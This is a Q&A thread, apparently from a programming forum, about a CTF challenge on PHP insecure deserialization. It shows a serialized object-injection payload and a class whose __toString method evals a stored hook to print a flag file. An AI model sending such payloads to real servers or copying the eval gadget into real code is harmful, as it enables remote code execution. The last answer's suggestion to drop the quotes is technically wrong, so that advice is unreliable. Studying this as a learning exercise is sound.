I'm doing a CTF challenge that is about insecure deserialization in PHP. The goal is to print the flag by injection code into the deserialization to execute the print_flag()
function. I suspect that the webserver only prints the last line that the script echoes, which overrides the output of the flag, even when calling exit()
.
A part of the php-code running on the webserver is provided. I have implemented it in my own php-script to find out what works and what doesn't. I have succeeded in serializing an object that executes the code when deserialized. By calling exit(print_flag());
the flag is printed, without any further errors... At least in my script. When I send the serialized object to the webserver, it still prints further errors.
Additionally, I have tried returning a string from my injected code. That doesn't work either.
function print_flag() {
print file_get_contents('/var/flag/flag.txt');
}
class Example2
{
private $hook;
function __construct() {
$this->hook = "exit(print_flag());";
}
function __toString()
{
if (isset($this->hook)) eval($this->hook);
}
}
$flag = new Example2();
$serialized = serialize($flag);
print "$serialized
";
$deserialized = unserialize($serialized);
The code is similar to the one shown in the challenge, but modified so it works for me.
I would expect the code to only return the flag. When executing the script on my own machine, the output is:
O:8:"Example2":1:{s:14:" Example2 hook";s:19:"exit(print_flag());";} thisistheflag
When I call it without exit()
:
PHP Recoverable fatal error: Method Example2::__toString() must return a string value in ../phpObjInj.php on line 39"
The webserver returns:
Catchable fatal error: Method Example2::__toString() must return a string value in /var/www/index.php on line 79
How do I stop the error from printing?
The error is occurring because of unserialize($flag);
. Since the argument to unserialize()
is supposed to be a string, it tries to convert the Example2
object to a string. You probably meant to use unserialize($serialized);
.
But more generally, you should ensure that the __toString()
method returns a string. If you don't care what it is, you can return an empty string.
function __toString()
{
if (isset($this->hook)) eval($this->hook);
return "";
}
The error doesn't happen when you have exit()
in the hook because the script exits before the __toString()
method returns, so it never checks the return value.
Nothing is being executed after exit()
. Here's the order of operations:
new Example2
- Creates new objectserialize($flag)
- Creates a string representing the objectprint "$serialized ";
- Print the above stringNone of the above steps need to call __toString()
, so the hook is not yet executed.
deserialize($flag)
- This needs to convert $flag
to a string so it can be parsed as serialized data.$flag->__toString()
eval($this->hook)
print_flag()
, which prints the flagexit()
, which terminates the scriptSo you see the serialized object printed, then the flag is printed, then nothing else because of exit()
.
To demonstrate the vulnerability, you should call unserialize()
with the correct argument.
$deserialized = unserialize($seralized);
echo $deserialized;
This echo
statement will cause the __toString()
method to be invoked. This will then exit the script, and you won't get the error message.
Remove the double quotes in your constructor, function __construct()
instead of
function __construct() {
$this->hook = "exit(print_flag());";
}
use
function __construct() {
$this->hook = exit(print_flag());
}